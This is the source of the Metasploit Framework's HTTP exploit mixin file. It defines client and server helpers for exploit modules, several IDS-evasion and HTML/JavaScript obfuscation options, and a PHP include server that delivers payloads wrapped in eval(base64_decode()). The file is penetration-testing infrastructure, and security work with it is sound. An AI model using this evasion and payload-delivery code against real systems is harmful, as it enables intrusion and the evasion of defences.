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metasploit-framework/lib/msf/core/exploit/http.rb

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require 'rex/service_manager'
require 'rex/exploitation/obfuscatejs'
require 'rex/exploitation/heaplib'
module Msf
###
#
# This module provides methods for acting as an HTTP client when
# exploiting an HTTP server.
#
###
module Exploit::Remote::HttpClient
#
# Initializes an exploit module that exploits a vulnerability in an HTTP
# server.
#
def initialize(info = {})
super
register_options(
[
Opt::RHOST,
Opt::RPORT(80),
OptString.new('VHOST', [ false, "HTTP server virtual host" ]),
Opt::SSL,
Opt::Proxies
], self.class
)
register_advanced_options(
[
OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests'])
], self.class
)
register_evasion_options(
[
OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-all', 'u-random']]),
OptBool.new('HTTP::uri_full_url', [false, 'Use the full URL for all HTTP requests', false]),
OptInt.new('HTTP::pad_method_uri_count', [false, 'How many whitespace characters to use between the method and uri', 1]),
OptInt.new('HTTP::pad_uri_version_count', [false, 'How many whitespace characters to use between the uri and version', 1]),
OptEnum.new('HTTP::pad_method_uri_type', [false, 'What type of whitespace to use between the method and uri', 'space', ['space', 'tab', 'apache']]),
OptEnum.new('HTTP::pad_uri_version_type', [false, 'What type of whitespace to use between the uri and version', 'space', ['space', 'tab', 'apache']]),
OptBool.new('HTTP::method_random_valid', [false, 'Use a random, but valid, HTTP method for request', false]),
OptBool.new('HTTP::method_random_invalid', [false, 'Use a random invalid, HTTP method for request', false]),
OptBool.new('HTTP::method_random_case', [false, 'Use random casing for the HTTP method', false]),
OptBool.new('HTTP::uri_dir_self_reference', [false, 'Insert self-referential directories into the uri', false]),
OptBool.new('HTTP::uri_dir_fake_relative', [false, 'Insert fake relative directories into the uri', false]),
OptBool.new('HTTP::uri_use_backslashes', [false, 'Use back slashes instead of forward slashes in the uri ', false]),
OptBool.new('HTTP::pad_fake_headers', [false, 'Insert random, fake headers into the HTTP request', false]),
OptInt.new('HTTP::pad_fake_headers_count', [false, 'How many fake headers to insert into the HTTP request', 0]),
OptBool.new('HTTP::pad_get_params', [false, 'Insert random, fake query string variables into the request', false]),
OptInt.new('HTTP::pad_get_params_count', [false, 'How many fake query string variables to insert into the request', 16]),
OptBool.new('HTTP::pad_post_params', [false, 'Insert random, fake post variables into the request', false]),
OptInt.new('HTTP::pad_post_params_count', [false, 'How many fake post variables to insert into the request', 16]),
OptBool.new('HTTP::uri_fake_end', [false, 'Add a fake end of URI (eg: /%20HTTP/1.0/../../)', false]),
OptBool.new('HTTP::uri_fake_params_start', [false, 'Add a fake start of params to the URI (eg: /%3fa=b/../)', false]),
OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', false])
#
# Remaining evasions to implement
#
# OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP request via "Transfer-Encoding: chunked"', 'false']),
# OptInt.new('HTTP::junk_pipeline', [true, 'Insert the specified number of junk pipeline requests', 0]),
], self.class
)
end
#
# Connects to an HTTP server.
#
def connect(opts={})
nclient = Rex::Proto::Http::Client.new(
rhost,
rport.to_i,
{
'Msf' => framework,
'MsfExploit' => self,
},
ssl,
proxies
)
# Configure the HTTP client with the supplied parameter
nclient.set_config(
'vhost' => self.vhost(),
'agent' => datastore['UserAgent'],
'uri_encode_mode' => datastore['HTTP::uri_encode_mode'],
'uri_full_url' => datastore['HTTP::uri_full_url'],
'pad_method_uri_count' => datastore['HTTP::pad_method_uri_count'],
'pad_uri_version_count' => datastore['HTTP::pad_uri_version_count'],
'pad_method_uri_type' => datastore['HTTP::pad_method_uri_type'],
'pad_uri_version_type' => datastore['HTTP::pad_uri_version_type'],
'method_random_valid' => datastore['HTTP::method_random_valid'],
'method_random_invalid' => datastore['HTTP::method_random_invalid'],
'method_random_case' => datastore['HTTP::method_random_case'],
'uri_dir_self_reference' => datastore['HTTP::uri_dir_self_reference'],
'uri_dir_fake_relative' => datastore['HTTP::uri_dir_fake_relative'],
'uri_use_backslashes' => datastore['HTTP::uri_use_backslashes'],
'pad_fake_headers' => datastore['HTTP::pad_fake_headers'],
'pad_fake_headers_count' => datastore['HTTP::pad_fake_headers_count'],
'pad_get_params' => datastore['HTTP::pad_get_params'],
'pad_get_params_count' => datastore['HTTP::pad_get_params_count'],
'pad_post_params' => datastore['HTTP::pad_post_params'],
'pad_post_params_count' => datastore['HTTP::pad_post_params_count'],
'uri_fake_end' => datastore['HTTP::uri_fake_end'],
'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],
'header_folding' => datastore['HTTP::header_folding']
)
# If this connection is global, persist it
# No reason for the socket not to be global and it allows findsock to
# work.
#if (opts['global'])
if (self.client)
disconnect
end
self.client = nclient
#end
return nclient
end
#
# Passes the client connection down to the handler to see if it's of any
# use.
#
def handler(nsock = nil)
# If no socket was provided, try the global one.
if ((!nsock) and
(self.client))
nsock = self.client.conn
end
# If the parent claims the socket associated with the HTTP client, then
# we rip the socket out from under the HTTP client.
if (((rv = super(nsock)) == Handler::Claimed) and
(self.client) and
(nsock == self.client.conn))
self.client.conn = nil
end
rv
end
#
# Disconnects the HTTP client
#
def disconnect(nclient = self.client)
if (nclient)
nclient.close
end
if (nclient == self.client)
self.client = nil
end
end
#
# Performs cleanup as necessary, disconnecting the HTTP client if it's
# still established.
#
def cleanup
super
disconnect
end
#
# Connects to the server, creates a request, sends the request, reads the response
#
def send_request_raw(opts={}, timeout = -1)
begin
c = connect(opts)
r = c.request_raw(opts)
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
rescue ::RuntimeError => e
print_error("An error occurred sending this request: #{e}")
nil
rescue ::Errno::EPIPE, ::Timeout::Error
nil
end
end
#
# Connects to the server, creates a request, sends the request, reads the response
#
def send_request_cgi(opts={}, timeout = -1)
begin
c = connect(opts)
r = c.request_cgi(opts)
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
rescue ::RuntimeError => e
print_error("An error occurred sending this request: #{e}")
nil
rescue ::Errno::EPIPE, ::Timeout::Error
nil
end
end
##
#
# Wrappers for getters
#
##
#
# Returns the target host
#
def rhost
datastore['RHOST']
end
#
# Returns the remote port
#
def rport
datastore['RPORT']
end
#
# Returns the VHOST of the HTTP server.
#
def vhost
datastore['VHOST'] || datastore['RHOST']
end
#
# Returns the boolean indicating SSL
#
def ssl
datastore['SSL']
end
#
# Returns the configured proxy list
#
def proxies
datastore['Proxies']
end
protected
attr_accessor :client
end
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer
include Msf::Exploit::Remote::TcpServer
protected
def initialize(info = {})
super
register_options(
[
OptString.new('URIPATH', [ false, "The URI to use for this exploit (default is random)"]),
], Exploit::Remote::HttpServer
)
register_evasion_options(
[
OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']),
OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']),
OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]),
], Exploit::Remote::HttpServer
)
end
#
# By default, all HTTP servers are not subject to automatic exploitation
#
def autofilter
false
end
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
def use_zlib
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"
end
end
#
# This method gives a derived class the opportunity to ensure that all
# dependencies are present before initializing the service.
#
# By default, all HTTP server mixins will try to use zlib.
#
def check_dependencies
use_zlib
end
#
# This mixin starts the HTTP server listener. This routine takes a few
# different hash parameters:
#
# ServerHost => Override the server host to listen on (default to SRVHOST).
# ServerPort => Override the server port to listen on (default to SRVPORT).
# Uri => The URI to handle and the associated procedure to call.
#
def start_service(opts = {})
check_dependencies
# Default the server host and port to what is required by the mixin.
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['SRVPORT'],
}.update(opts)
# Start the HTTP server service.
self.service = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
{
'Msf' => framework,
'MsfExploit' => self,
}
)
self.service.server_name = 'Apache'
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
evasions(cli)
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})
print_status("Using URL: http://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')
print_status(" Local IP: http://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
end
add_resource(uopts)
end
#
# Adds a URI resource using the supplied hash parameters.
#
# Path => The path to associate the procedure with.
# Proc => The procedure to call when the URI is requested.
# LongCall => Indicates that the request is a long call.
#
def add_resource(opts)
@service_path = opts['Path']
service.add_resource(opts['Path'], opts)
end
#
# Returns the last-used resource path
#
def get_resource
@service_path
end
#
# Removes a URI resource.
#
def remove_resource(name)
service.remove_resource(name)
end
#
# Closes a client connection.
#
def close_client(cli)
service.close_client(cli)
end
#
# Creates an HTTP response packet.
#
def create_response(code = 200, message = "OK", proto = Rex::Proto::Http::DefaultProtocol)
res = Rex::Proto::Http::Response.new(code, message, proto);
res['Content-Type'] = 'text/html'
res
end
#
# Transmits a response to the supplied client, default content-type is text/html
#
# Payload evasions are implemented here!
#
def send_response(cli, body, headers = {})
response = create_response
response['Content-Type'] = 'text/html'
response.body = body
if (datastore['HTTP::compression'])
self.use_zlib # make sure...
response.compress = datastore['HTTP::compression']
end
if (datastore['HTTP::chunked'] == true)
response.auto_cl = false
response.transfer_chunked = true
end
if (datastore['HTTP::header_folding'] == true)
response.headers.fold = 1
end
if (datastore['HTTP::junk_headers'] == true)
response.headers.junk_headers = 1
end
headers.each_pair { |k,v| response[k] = v }
cli.send_response(response)
end
#
# Sends a 302 redirect to the client
#
def send_redirect(cli, location='/', body='')
response = create_response(302, 'Moved')
response['Content-Type'] = 'text/html'
response['Location'] = location
response.body = body
cli.send_response(response)
end
#
# Sends a 302 redirect relative to our base path
#
def send_local_redirect(cli, location)
send_redirect(cli, get_resource + location)
end
#
# Sends a 404
#
def send_not_found(cli)
resp_404 = create_response(404, 'Not Found')
resp_404.body = %Q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
</body></html>
}
cli.send_response(resp_404)
end
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore['URIPATH'] || random_uri
path = '/' + path if path !~ /^\//
return path
end
#
# Generates a random URI for use with making finger printing more
# challenging.
#
def random_uri
"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
end
#
# Re-generates the payload, substituting the current RHOST and RPORT with
# the supplied client host and port.
#
def regenerate_payload(cli, arch = nil, platform = nil, target = nil)
pcode = nil
# If the payload fails to generate for some reason, send a 403.
if ((pcode = super(cli, arch, platform, target)) == nil)
print_error("Failed to generate payload, sending 403.")
cli.send_response(
create_response(403, 'Forbidden'))
return nil
end
pcode
end
##
#
# Override methods
#
##
#
# Called when a request is made to a single URI registered during the
# start_service. Subsequent registrations will not result in a call to
# on_request_uri.
#
def on_request_uri(cli, request)
end
end
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::HttpServer
protected
def initialize(info = {})
super
register_evasion_options(
[
# utf-8, utf-7 and utf-7-all are currently not supported by
# most browsers. as such, they are not added by default. The
# mixin supports encoding using them, however they are not
# listed in the Option.
OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]),
OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)', 0]),
], Exploit::Remote::HttpServer::HTML
)
end
#
# Obfuscates symbols found within a javascript string.
#
# Returns an ObfuscateJS object
#
def obfuscate_js(javascript, opts)
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
js.obfuscate
return js
end
#
# Returns the heaplib javascript, including any custom javascript supplied
# by the caller.
#
def heaplib(custom_js = '')
Rex::Exploitation::HeapLib.new(custom_js).to_s
end
def js_base64
js = <<-ENDJS
// Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html
// variable names changed to make obfuscation easier
var Base64 = {
// private property
_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
// private method
_utf8_encode : function ( input ){
input = input.replace(/\\r\\n/g,"\\n");
var utftext = "";
var input_idx;
for (input_idx = 0; input_idx < input.length; input_idx++) {
var chr = input.charCodeAt(input_idx);
if (chr < 128) {
utftext += String.fromCharCode(chr);
}
else if((chr > 127) && (chr < 2048)) {
utftext += String.fromCharCode((chr >> 6) | 192);
utftext += String.fromCharCode((chr & 63) | 128);
} else {
utftext += String.fromCharCode((chr >> 12) | 224);
utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
utftext += String.fromCharCode((chr & 63) | 128);
}
}
return utftext;
},
// public method for encoding
encode : function( input ) {
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var input_idx = 0;
input = Base64._utf8_encode(input);
while (input_idx < input.length) {
chr1 = input.charCodeAt( input_idx++ );
chr2 = input.charCodeAt( input_idx++ );
chr3 = input.charCodeAt( input_idx++ );
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
}
return output;
},
// public method for decoding
decode : function (input) {
var output = "";
var chr1, chr2, chr3;
var enc1, enc2, enc3, enc4;
var i = 0;
input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, "");
while (i < input.length) {
enc1 = this._keyStr.indexOf(input.charAt(i++));
enc2 = this._keyStr.indexOf(input.charAt(i++));
enc3 = this._keyStr.indexOf(input.charAt(i++));
enc4 = this._keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
}
output = Base64._utf8_decode(output);
return output;
},
_utf8_decode : function (utftext) {
var string = "";
var input_idx = 0;
var chr1 = 0;
var chr2 = 0;
var chr3 = 0;
while ( input_idx < utftext.length ) {
chr1 = utftext.charCodeAt(input_idx);
if (chr1 < 128) {
string += String.fromCharCode(chr1);
input_idx++;
}
else if((chr1 > 191) && (chr1 < 224)) {
chr2 = utftext.charCodeAt(input_idx+1);
string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
input_idx += 2;
} else {
chr2 = utftext.charCodeAt(input_idx+1);
chr3 = utftext.charCodeAt(input_idx+2);
string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
input_idx += 3;
}
}
return string;
}
};
ENDJS
opts = {
'Symbols' => {
'Variables' => [
'Base64', 'encoding',
'result', '_keyStr',
'encoded_data',
'utftext', 'input_idx',
'input', 'output',
'chr', 'chr1', 'chr2', 'chr3',
'enc1', 'enc2', 'enc3', 'enc4'
],
'Methods' => [
'_utf8_encode', '_utf8_decode',
'encode', 'decode'
]
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
return js
end
def js_os_detect
return ::Rex::Exploitation::JavascriptOSDetect.new
end
# Transmits a html response to the supplied client
#
# HTML evasions are implemented here.
def send_response_html(cli, body, headers = {})
if datastore['HTML::base64'] != 'none'
case datastore['HTML::base64']
when 'plain'
body = Rex::Text.encode_base64(body)
when 'single_pad'
body = Rex::Text.encode_base64(' ' + body)
when 'double_pad'
body = Rex::Text.encode_base64(' ' + body)
when 'random_space_injection'
body = Rex::Text.encode_base64(body)
new = ''
while (body.size > 0)
new += body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
end
body = new
end
body = '<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
body + '">Could not render object</OBJECT></BODY></HTML>'
end
if datastore['HTML::javascript::escape'] > 0
datastore['HTML::javascript::escape'].times {
body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
}
end
if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode'])
headers['Content-Type'] = 'text/html; charset: ' + datastore['HTML::unicode']
body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
else
# special cases
case datastore['HTML::unicode']
when 'utf-16be-marker'
headers['Content-Type'] = 'text/html'
body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be')
when 'utf-7-all'
headers['Content-Type'] = 'text/html; charset: utf-7'
body = Rex::Text.to_unicode(body, 'utf-7', 'all')
when 'none'
# do nothing
else
raise RuntimeError, 'Invalid unicode. how did you get here?'
end
end
send_response(cli, body, headers)
end
end
###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::PHPInclude
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
# Override TCPServer's stance of passive
super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive))
register_evasion_options(
[
OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]),
], Exploit::Remote::HttpServer::PHPInclude
)
end
#
# Override exploit() to handle service start/stop
#
def exploit
start_service
print_status("PHP include server started.");
php_exploit
select(nil, nil, nil, 5)
stop_service
end
#
# Transmits a PHP payload to the web application
#
def send_php_payload(cli, body, headers = {})
case datastore['PHP::Encode']
when 'base64'
body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>"
when 'none'
body = "<?php #{body} ?>"
end
send_response(cli, body, headers)
end
#
# Handle an incoming PHP code request
#
def on_request_uri(cli, request, headers={})
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Send it to the application
send_php_payload(cli, p.encoded, headers)
end
#
# Return the PHP include URL (pre-encoded)
#
def php_include_url(sock=nil)
addr = datastore['SRVHOST']
if (addr == "0.0.0.0")
addr = Rex::Socket.source_address( sock ? sock.peerhost : '1.2.3.4')
end
"http://#{addr}:#{datastore['SRVPORT']}#{get_resource()}?"
end
end
end
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